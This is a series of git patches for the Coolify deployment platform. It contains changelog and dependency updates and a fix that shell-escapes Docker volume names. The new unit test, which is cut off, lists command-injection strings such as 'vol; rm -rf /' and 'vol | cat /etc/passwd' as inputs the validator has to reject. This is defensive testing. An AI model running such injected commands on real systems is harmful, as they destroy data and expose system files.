- *(ssh-retry)* Remove Sentry tracking from retry logic
+- *(jobs)* Split task skip checks into critical and runtime phases
+- Add explicit fillable array to EnvironmentVariable model
+- Replace inline note with callout component for consistency
+- *(application-source)* Use Laravel helpers for null checks
+- *(ssh)* Remove Sentry retry event tracking from ExecuteRemoteCommand
+- Consolidate file path validation patterns and support scoped packages
### 📚 Documentation
@@ -5756,6 +5931,12 @@ ### 📚 Documentation
- Add Coolify design system reference (#8237)
- Update changelog
- Update changelog
+- Update changelog
+- *(sponsors)* Add huge sponsors section and reorganize list
+- *(application)* Add comments explaining commit selection logic for rollback support
+- *(readme)* Add VPSDime to Big Sponsors list
+- *(readme)* Move MVPS to Huge Sponsors section
+- *(settings)* Clarify Do Not Track helper text
### ⚡ Performance
@@ -5797,6 +5978,10 @@ ### 🧪 Testing
- Add Pest browser testing with SQLite :memory: schema
- Add dashboard test and improve browser test coverage
- Migrate to SQLite :memory: and add Pest browser testing (#8364)
+- *(rollback)* Use full-length git commit SHA values in test fixtures
+- *(rollback)* Verify shell metacharacter escaping in git commit parameter
+- *(factories)* Add missing model factories for app test suite
+- *(magic-variables)* Add feature tests for SERVICE_URL/FQDN variable handling
### ⚙️ Miscellaneous Tasks
@@ -6533,6 +6718,63 @@ ### ⚙️ Miscellaneous Tasks
- Prepare for PR
- Prepare for PR
- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(scheduler)* Fix scheduled job duration metric (#8551)
+- Prepare for PR
+- Prepare for PR
+- *(horizon)* Make max time configurable (#8560)
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(ui)* Widen project heading nav spacing (#8564)
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Add pr quality check workflow
+- Do not build or generate changelog on pr-quality changes
+- Add pr quality check via anti slop action (#8344)
+- Improve pr quality workflow
+- Delete label removal workflow
+- Improve pr quality workflow (#8374)
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(repo)* Improve contributor PR template
+- Add anti-slop v0.2 options to the pr-quality check
+- Improve pr template and quality check workflow (#8574)
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(ui)* Add labels header
+- *(ui)* Add container labels header (#8752)
+- *(templates)* Update n8n templates to 2.10.2 (#8679)
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(version)* Bump coolify, realtime, and sentinel versions
+- *(realtime)* Upgrade npm dependencies
+- *(realtime)* Upgrade coolify-realtime to 1.0.11
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- *(release)* Bump version to 4.0.0-beta.466
+- Prepare for PR
+- Prepare for PR
+- *(service)* Pin castopod service to a static version instead of latest
### ◀️ Revert
From 82b4a2b6b00e1672aabc3491ec6a614062dd3067 Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Mon, 16 Mar 2026 16:51:52 +0000
Subject: [PATCH 23/95] docs: update changelog
---
CHANGELOG.md | 11 +++++++++++
1 file changed, 11 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 45cbd48d2..999af79b8 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1285,6 +1285,9 @@ ### 🚀 Features
- *(compose-preview)* Populate fqdn from docker_compose_domains (#8963)
- *(server)* Auto-fetch server metadata after validation
- *(server)* Auto-fetch server metadata after validation (#8964)
+- *(templates)* Add imgcompress service, for offline image processing (#8763)
+- *(service)* Add librespeed (#8626)
+- *(service)* Update databasus to v3.16.2 (#8586)
### 🐛 Bug Fixes
@@ -4681,6 +4684,9 @@ ### 🐛 Bug Fixes
- *(api)* Allow is_container_label_escape_enabled in service operations (#8955)
- *(docker-compose)* Respect preserveRepository when injecting --project-directory
- *(docker-compose)* Respect preserveRepository when injecting --project-directory (#8956)
+- *(compose)* Include git branch in compose file not found error
+- *(template)* Fix heyform template
+- *(template)* Fix heyform template (#8747)
### 💼 Other
@@ -5937,6 +5943,7 @@ ### 📚 Documentation
- *(readme)* Add VPSDime to Big Sponsors list
- *(readme)* Move MVPS to Huge Sponsors section
- *(settings)* Clarify Do Not Track helper text
+- Update changelog
### ⚡ Performance
@@ -6775,6 +6782,10 @@ ### ⚙️ Miscellaneous Tasks
- Prepare for PR
- Prepare for PR
- *(service)* Pin castopod service to a static version instead of latest
+- *(service)* Remove unused attributes on imgcompress service
+- *(service)* Pin imgcompress to a static version instead of latest
+- *(service)* Update SeaweedFS images to version 4.13 (#8738)
+- *(templates)* Bump databasus image version
### ◀️ Revert
From 0627dce4da77e6165d780cf61773243cfa9ad60c Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 19 Mar 2026 17:15:02 +0000
Subject: [PATCH 24/95] build(deps): bump phpseclib/phpseclib from 3.0.49 to
3.0.50
Bumps [phpseclib/phpseclib](https://github.com/phpseclib/phpseclib) from 3.0.49 to 3.0.50.
- [Release notes](https://github.com/phpseclib/phpseclib/releases)
- [Changelog](https://github.com/phpseclib/phpseclib/blob/master/CHANGELOG.md)
- [Commits](https://github.com/phpseclib/phpseclib/compare/3.0.49...3.0.50)
---
updated-dependencies:
- dependency-name: phpseclib/phpseclib
dependency-version: 3.0.50
dependency-type: direct:production
...
Signed-off-by: dependabot[bot]
---
composer.lock | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/composer.lock b/composer.lock
index 993835a42..3b1f4eded 100644
--- a/composer.lock
+++ b/composer.lock
@@ -5061,16 +5061,16 @@
},
{
"name": "phpseclib/phpseclib",
- "version": "3.0.49",
+ "version": "3.0.50",
"source": {
"type": "git",
"url": "https://github.com/phpseclib/phpseclib.git",
- "reference": "6233a1e12584754e6b5daa69fe1289b47775c1b9"
+ "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/6233a1e12584754e6b5daa69fe1289b47775c1b9",
- "reference": "6233a1e12584754e6b5daa69fe1289b47775c1b9",
+ "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/aa6ad8321ed103dc3624fb600a25b66ebf78ec7b",
+ "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b",
"shasum": ""
},
"require": {
@@ -5151,7 +5151,7 @@
],
"support": {
"issues": "https://github.com/phpseclib/phpseclib/issues",
- "source": "https://github.com/phpseclib/phpseclib/tree/3.0.49"
+ "source": "https://github.com/phpseclib/phpseclib/tree/3.0.50"
},
"funding": [
{
@@ -5167,7 +5167,7 @@
"type": "tidelift"
}
],
- "time": "2026-01-27T09:17:28+00:00"
+ "time": "2026-03-19T02:57:58+00:00"
},
{
"name": "phpstan/phpdoc-parser",
From a7f07f66e3adf808f95c4ab5eed320bd640df462 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 19 Mar 2026 22:50:11 +0000
Subject: [PATCH 25/95] build(deps): bump league/commonmark from 2.8.1 to 2.8.2
Bumps [league/commonmark](https://github.com/thephpleague/commonmark) from 2.8.1 to 2.8.2.
- [Release notes](https://github.com/thephpleague/commonmark/releases)
- [Changelog](https://github.com/thephpleague/commonmark/blob/2.8/CHANGELOG.md)
- [Commits](https://github.com/thephpleague/commonmark/compare/2.8.1...2.8.2)
---
updated-dependencies:
- dependency-name: league/commonmark
dependency-version: 2.8.2
dependency-type: indirect
...
Signed-off-by: dependabot[bot]
---
composer.lock | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/composer.lock b/composer.lock
index 993835a42..534b418fe 100644
--- a/composer.lock
+++ b/composer.lock
@@ -2663,16 +2663,16 @@
},
{
"name": "league/commonmark",
- "version": "2.8.1",
+ "version": "2.8.2",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/commonmark.git",
- "reference": "84b1ca48347efdbe775426f108622a42735a6579"
+ "reference": "59fb075d2101740c337c7216e3f32b36c204218b"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/84b1ca48347efdbe775426f108622a42735a6579",
- "reference": "84b1ca48347efdbe775426f108622a42735a6579",
+ "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/59fb075d2101740c337c7216e3f32b36c204218b",
+ "reference": "59fb075d2101740c337c7216e3f32b36c204218b",
"shasum": ""
},
"require": {
@@ -2766,7 +2766,7 @@
"type": "tidelift"
}
],
- "time": "2026-03-05T21:37:03+00:00"
+ "time": "2026-03-19T13:16:38+00:00"
},
{
"name": "league/config",
From 95351eba8939d321e26139fa0636693730fe1e69 Mon Sep 17 00:00:00 2001
From: Xidik
Date: Sun, 22 Mar 2026 22:04:22 +0700
Subject: [PATCH 26/95] fix(service): use FQDN instead of URL for Grafana
GF_SERVER_DOMAIN
GF_SERVER_DOMAIN expects a bare hostname (e.g. grafana.example.com) but
was set to SERVICE_URL_GRAFANA which includes the protocol
(https://grafana.example.com). This mismatch can cause Grafana to fail
to load its application files when deployed behind Coolify's proxy.
Changed to SERVICE_FQDN_GRAFANA which provides just the hostname. Applied
the fix to both grafana.yaml and grafana-with-postgresql.yaml templates.
Fixes #5307
---
templates/compose/grafana-with-postgresql.yaml | 2 +-
templates/compose/grafana.yaml | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/templates/compose/grafana-with-postgresql.yaml b/templates/compose/grafana-with-postgresql.yaml
index 25add4cc2..6c5dda659 100644
--- a/templates/compose/grafana-with-postgresql.yaml
+++ b/templates/compose/grafana-with-postgresql.yaml
@@ -11,7 +11,7 @@ services:
environment:
- SERVICE_URL_GRAFANA_3000
- GF_SERVER_ROOT_URL=${SERVICE_URL_GRAFANA}
- - GF_SERVER_DOMAIN=${SERVICE_URL_GRAFANA}
+ - GF_SERVER_DOMAIN=${SERVICE_FQDN_GRAFANA}
- GF_SECURITY_ADMIN_PASSWORD=${SERVICE_PASSWORD_GRAFANA}
- GF_DATABASE_TYPE=postgres
- GF_DATABASE_HOST=postgresql
diff --git a/templates/compose/grafana.yaml b/templates/compose/grafana.yaml
index a570c6c79..ed1689f58 100644
--- a/templates/compose/grafana.yaml
+++ b/templates/compose/grafana.yaml
@@ -11,7 +11,7 @@ services:
environment:
- SERVICE_URL_GRAFANA_3000
- GF_SERVER_ROOT_URL=${SERVICE_URL_GRAFANA}
- - GF_SERVER_DOMAIN=${SERVICE_URL_GRAFANA}
+ - GF_SERVER_DOMAIN=${SERVICE_FQDN_GRAFANA}
- GF_SECURITY_ADMIN_PASSWORD=${SERVICE_PASSWORD_GRAFANA}
volumes:
- grafana-data:/var/lib/grafana
From ffd69c1b545078cc63982effdca81b6d861aada6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=F0=9F=8F=94=EF=B8=8F=20Peak?=
<122374094+peaklabs-dev@users.noreply.github.com>
Date: Mon, 23 Mar 2026 22:45:18 +0100
Subject: [PATCH 27/95] ci: update pr-quality.yaml
---
.github/workflows/pr-quality.yaml | 7 +++++--
1 file changed, 5 insertions(+), 2 deletions(-)
diff --git a/.github/workflows/pr-quality.yaml b/.github/workflows/pr-quality.yaml
index 594724fdb..45a695ddc 100644
--- a/.github/workflows/pr-quality.yaml
+++ b/.github/workflows/pr-quality.yaml
@@ -40,7 +40,10 @@ jobs:
max-emoji-count: 2
max-code-references: 5
require-linked-issue: false
- blocked-terms: "STRAWBERRY"
+ blocked-terms: |
+ STRAWBERRY
+ 🤖 Generated with Claude Code
+ Generated with Claude Code
blocked-issue-numbers: 8154
# PR Template Checks
@@ -97,7 +100,7 @@ jobs:
exempt-pr-milestones: ""
# PR Success Actions
- success-add-pr-labels: "quality/verified"
+ success-add-pr-labels: ""
# PR Failure Actions
failure-remove-pr-labels: ""
From 9db06444f316d5ac4c33f489f3d32ebe01d8f975 Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Tue, 24 Mar 2026 19:18:36 +0000
Subject: [PATCH 28/95] docs: update changelog
---
CHANGELOG.md | 55 ++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 55 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 999af79b8..8cd7287f3 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1288,6 +1288,20 @@ ### 🚀 Features
- *(templates)* Add imgcompress service, for offline image processing (#8763)
- *(service)* Add librespeed (#8626)
- *(service)* Update databasus to v3.16.2 (#8586)
+- *(preview)* Add configurable PR suffix toggle for volumes
+- *(api)* Add storages endpoints for applications
+- *(api)* Expand update_storage to support name, mount_path, host_path, content fields
+- *(environment-variable)* Add placeholder hint for magic variables
+- *(subscription)* Display next billing date and billing interval
+- *(api)* Support comments in bulk environment variable endpoints
+- *(api)* Add database environment variable management endpoints
+- *(storage)* Add resources tab and improve S3 deletion handling
+- *(storage)* Group backups by database and filter by s3 status
+- *(storage)* Add storage management for backup schedules
+- *(jobs)* Add cache-based deduplication for delayed cron execution
+- *(storage)* Add storage endpoints and UUID support for databases and services
+- *(monitoring)* Add Laravel Nightwatch monitoring support
+- *(validation)* Make hostname validation case-insensitive and expand allowed characters
### 🐛 Bug Fixes
@@ -4687,6 +4701,29 @@ ### 🐛 Bug Fixes
- *(compose)* Include git branch in compose file not found error
- *(template)* Fix heyform template
- *(template)* Fix heyform template (#8747)
+- *(preview)* Exclude bind mounts from preview deployment suffix
+- *(preview)* Sync isPreviewSuffixEnabled property on file storage save
+- *(storages)* Hide PR suffix for services and fix instantSave logic
+- *(preview)* Enable per-volume control of PR suffix in preview deployments (#9006)
+- Prevent sporadic SSH permission denied by validating key content
+- *(ssh)* Handle chmod failures gracefully and simplify key management
+- Prevent sporadic SSH permission denied on key rotation (#8990)
+- *(stripe)* Add error handling and resilience to subscription operations
+- *(stripe)* Add error handling and resilience to subscription operations (#9030)
+- *(api)* Extract resource UUIDs from route parameters
+- *(backup)* Throw explicit error when S3 storage missing or deleted (#9038)
+- *(docker)* Skip cleanup stale warning on cloud instances
+- *(deployment)* Disable build server during restart operations
+- *(deployment)* Disable build server during restart operations (#9045)
+- *(docker)* Log failed cleanup attempts when server is not functional
+- *(environment-variable)* Guard refresh against missing or stale variables
+- *(github-webhook)* Handle unsupported event types gracefully
+- *(github-webhook)* Handle unsupported event types gracefully (#9119)
+- *(deployment)* Properly escape shell arguments in nixpacks commands
+- *(deployment)* Properly escape shell arguments in nixpacks commands (#9122)
+- *(validation)* Make hostname validation case-insensitive and expand allowed name characters (#9134)
+- *(team)* Resolve server limit checks for API token authentication (#9123)
+- *(subscription)* Prevent duplicate subscriptions with updateOrCreate
### 💼 Other
@@ -5791,6 +5828,13 @@ ### 🚜 Refactor
- *(application-source)* Use Laravel helpers for null checks
- *(ssh)* Remove Sentry retry event tracking from ExecuteRemoteCommand
- Consolidate file path validation patterns and support scoped packages
+- *(environment-variable)* Remove buildtime/runtime options and improve comment field
+- Remove verbose logging and use explicit exception types
+- *(breadcrumb)* Optimize queries and simplify state management
+- *(scheduler)* Extract cron scheduling logic to shared helper
+- *(team)* Make server limit methods accept optional team parameter
+- *(team)* Update serverOverflow to use static serverLimit
+- *(docker)* Simplify installation and remove version pinning
### 📚 Documentation
@@ -5944,6 +5988,10 @@ ### 📚 Documentation
- *(readme)* Move MVPS to Huge Sponsors section
- *(settings)* Clarify Do Not Track helper text
- Update changelog
+- Update changelog
+- *(sponsors)* Add ScreenshotOne as a huge sponsor
+- *(sponsors)* Update Brand.dev to Context.dev
+- *(readme)* Add PetroSky Cloud to sponsors
### ⚡ Performance
@@ -5954,6 +6002,7 @@ ### ⚡ Performance
- Remove dead server filtering code from Kernel scheduler (#7585)
- *(server)* Optimize destinationsByServer query
- *(server)* Optimize destinationsByServer query (#7854)
+- *(breadcrumb)* Optimize queries and simplify navigation to fix OOM (#9048)
### 🎨 Styling
@@ -5966,6 +6015,7 @@ ### 🎨 Styling
- *(campfire)* Format environment variables for better readability in Docker Compose file
- *(campfire)* Update comment for DISABLE_SSL environment variable for clarity
- Update background colors to use gray-50 for consistency in auth views
+- *(modal-confirmation)* Improve mobile responsiveness
### 🧪 Testing
@@ -5989,6 +6039,7 @@ ### 🧪 Testing
- *(rollback)* Verify shell metacharacter escaping in git commit parameter
- *(factories)* Add missing model factories for app test suite
- *(magic-variables)* Add feature tests for SERVICE_URL/FQDN variable handling
+- Add behavioral ssh key stale-file regression
### ⚙️ Miscellaneous Tasks
@@ -6786,6 +6837,10 @@ ### ⚙️ Miscellaneous Tasks
- *(service)* Pin imgcompress to a static version instead of latest
- *(service)* Update SeaweedFS images to version 4.13 (#8738)
- *(templates)* Bump databasus image version
+- Remove coolify-examples-1 submodule
+- *(versions)* Bump coolify, sentinel, and traefik versions
+- *(versions)* Bump sentinel to 0.0.21
+- *(service)* Disable Booklore service (#9105)
### ◀️ Revert
From b22e470877129ce4a787c0fa639a00999faac17c Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 26 Mar 2026 00:53:57 +0000
Subject: [PATCH 29/95] chore(deps): bump picomatch
Bumps and [picomatch](https://github.com/micromatch/picomatch). These dependencies needed to be updated together.
Updates `picomatch` from 4.0.3 to 4.0.4
- [Release notes](https://github.com/micromatch/picomatch/releases)
- [Changelog](https://github.com/micromatch/picomatch/blob/master/CHANGELOG.md)
- [Commits](https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4)
Updates `picomatch` from 2.3.1 to 2.3.2
- [Release notes](https://github.com/micromatch/picomatch/releases)
- [Changelog](https://github.com/micromatch/picomatch/blob/master/CHANGELOG.md)
- [Commits](https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4)
---
updated-dependencies:
- dependency-name: picomatch
dependency-version: 4.0.4
dependency-type: indirect
- dependency-name: picomatch
dependency-version: 2.3.2
dependency-type: indirect
...
Signed-off-by: dependabot[bot]
---
package-lock.json | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/package-lock.json b/package-lock.json
index 3c9753bb8..6959704a1 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -2388,9 +2388,9 @@
"license": "ISC"
},
"node_modules/picomatch": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
- "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz",
+ "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==",
"dev": true,
"license": "MIT",
"engines": {
@@ -2795,9 +2795,9 @@
}
},
"node_modules/vite-plugin-full-reload/node_modules/picomatch": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
- "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+ "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
"dev": true,
"license": "MIT",
"engines": {
From d2064dd4998694cda2eabd00149f7c4d1e94c699 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 11:06:30 +0100
Subject: [PATCH 30/95] fix(storage): use escapeshellarg for volume names in
shell commands
Add proper shell escaping for persistent volume names when used in
docker volume rm commands. Also add volume name validation pattern
to ValidationPatterns for consistent input checking.
Co-Authored-By: Claude Opus 4.6
---
app/Actions/Service/DeleteService.php | 2 +-
app/Livewire/Project/Service/Storage.php | 5 +-
app/Models/Application.php | 2 +-
app/Models/ApplicationPreview.php | 2 +-
app/Models/StandaloneClickhouse.php | 2 +-
app/Models/StandaloneDragonfly.php | 2 +-
app/Models/StandaloneKeydb.php | 2 +-
app/Models/StandaloneMariadb.php | 2 +-
app/Models/StandaloneMongodb.php | 2 +-
app/Models/StandaloneMysql.php | 2 +-
app/Models/StandalonePostgresql.php | 2 +-
app/Models/StandaloneRedis.php | 2 +-
app/Support/ValidationPatterns.php | 37 ++++++++
tests/Unit/PersistentVolumeSecurityTest.php | 98 +++++++++++++++++++++
14 files changed, 149 insertions(+), 13 deletions(-)
create mode 100644 tests/Unit/PersistentVolumeSecurityTest.php
diff --git a/app/Actions/Service/DeleteService.php b/app/Actions/Service/DeleteService.php
index 8790901cd..460600d69 100644
--- a/app/Actions/Service/DeleteService.php
+++ b/app/Actions/Service/DeleteService.php
@@ -33,7 +33,7 @@ public function handle(Service $service, bool $deleteVolumes, bool $deleteConnec
}
}
foreach ($storagesToDelete as $storage) {
- $commands[] = "docker volume rm -f $storage->name";
+ $commands[] = 'docker volume rm -f '.escapeshellarg($storage->name);
}
// Execute volume deletion first, this must be done first otherwise volumes will not be deleted.
diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php
index e896f060a..433c2b13c 100644
--- a/app/Livewire/Project/Service/Storage.php
+++ b/app/Livewire/Project/Service/Storage.php
@@ -5,6 +5,7 @@
use App\Models\Application;
use App\Models\LocalFileVolume;
use App\Models\LocalPersistentVolume;
+use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@@ -103,10 +104,10 @@ public function submitPersistentVolume()
$this->authorize('update', $this->resource);
$this->validate([
- 'name' => 'required|string',
+ 'name' => ValidationPatterns::volumeNameRules(),
'mount_path' => 'required|string',
'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable',
- ]);
+ ], ValidationPatterns::volumeNameMessages());
$name = $this->resource->uuid.'-'.$this->name;
diff --git a/app/Models/Application.php b/app/Models/Application.php
index 4cc2dcf74..c446052b3 100644
--- a/app/Models/Application.php
+++ b/app/Models/Application.php
@@ -390,7 +390,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
}
diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php
index 3b7bf3030..b8a8a5a85 100644
--- a/app/Models/ApplicationPreview.php
+++ b/app/Models/ApplicationPreview.php
@@ -37,7 +37,7 @@ protected static function booted()
$persistentStorages = $preview->persistentStorages()->get() ?? collect();
if ($persistentStorages->count() > 0) {
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
}
diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php
index 33f32dd59..143aadb6a 100644
--- a/app/Models/StandaloneClickhouse.php
+++ b/app/Models/StandaloneClickhouse.php
@@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php
index 074c5b509..c823c305b 100644
--- a/app/Models/StandaloneDragonfly.php
+++ b/app/Models/StandaloneDragonfly.php
@@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php
index 23b4c65e6..f286e8538 100644
--- a/app/Models/StandaloneKeydb.php
+++ b/app/Models/StandaloneKeydb.php
@@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php
index 4d4b84776..efa62353c 100644
--- a/app/Models/StandaloneMariadb.php
+++ b/app/Models/StandaloneMariadb.php
@@ -136,7 +136,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php
index b5401dd2c..9418ebc21 100644
--- a/app/Models/StandaloneMongodb.php
+++ b/app/Models/StandaloneMongodb.php
@@ -141,7 +141,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php
index 0b144575c..2b7e9f2b6 100644
--- a/app/Models/StandaloneMysql.php
+++ b/app/Models/StandaloneMysql.php
@@ -136,7 +136,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php
index 92b2efd31..cea600236 100644
--- a/app/Models/StandalonePostgresql.php
+++ b/app/Models/StandalonePostgresql.php
@@ -114,7 +114,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php
index 352d27cfd..0e904ab31 100644
--- a/app/Models/StandaloneRedis.php
+++ b/app/Models/StandaloneRedis.php
@@ -140,7 +140,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index 27789b506..7084b4cc2 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -45,6 +45,13 @@ class ValidationPatterns
*/
public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/';
+ /**
+ * Pattern for Docker volume names
+ * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
+ * Matches Docker's volume naming rules
+ */
+ public const VOLUME_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
+
/**
* Pattern for Docker container names
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
@@ -157,6 +164,36 @@ public static function shellSafeCommandRules(int $maxLength = 1000): array
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN];
}
+ /**
+ * Get validation rules for Docker volume name fields
+ */
+ public static function volumeNameRules(bool $required = true, int $maxLength = 255): array
+ {
+ $rules = [];
+
+ if ($required) {
+ $rules[] = 'required';
+ } else {
+ $rules[] = 'nullable';
+ }
+
+ $rules[] = 'string';
+ $rules[] = "max:$maxLength";
+ $rules[] = 'regex:'.self::VOLUME_NAME_PATTERN;
+
+ return $rules;
+ }
+
+ /**
+ * Get validation messages for volume name fields
+ */
+ public static function volumeNameMessages(string $field = 'name'): array
+ {
+ return [
+ "{$field}.regex" => 'The volume name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.',
+ ];
+ }
+
/**
* Get validation rules for container name fields
*/
diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php
new file mode 100644
index 000000000..fdce223d3
--- /dev/null
+++ b/tests/Unit/PersistentVolumeSecurityTest.php
@@ -0,0 +1,98 @@
+toBe(1);
+})->with([
+ 'simple name' => 'myvolume',
+ 'with hyphens' => 'my-volume',
+ 'with underscores' => 'my_volume',
+ 'with dots' => 'my.volume',
+ 'with uuid prefix' => 'abc123-postgres-data',
+ 'numeric start' => '1volume',
+ 'complex name' => 'app123-my_service.data-v2',
+]);
+
+it('rejects volume names with shell metacharacters', function (string $name) {
+ expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
+})->with([
+ 'semicolon injection' => 'vol; rm -rf /',
+ 'pipe injection' => 'vol | cat /etc/passwd',
+ 'ampersand injection' => 'vol && whoami',
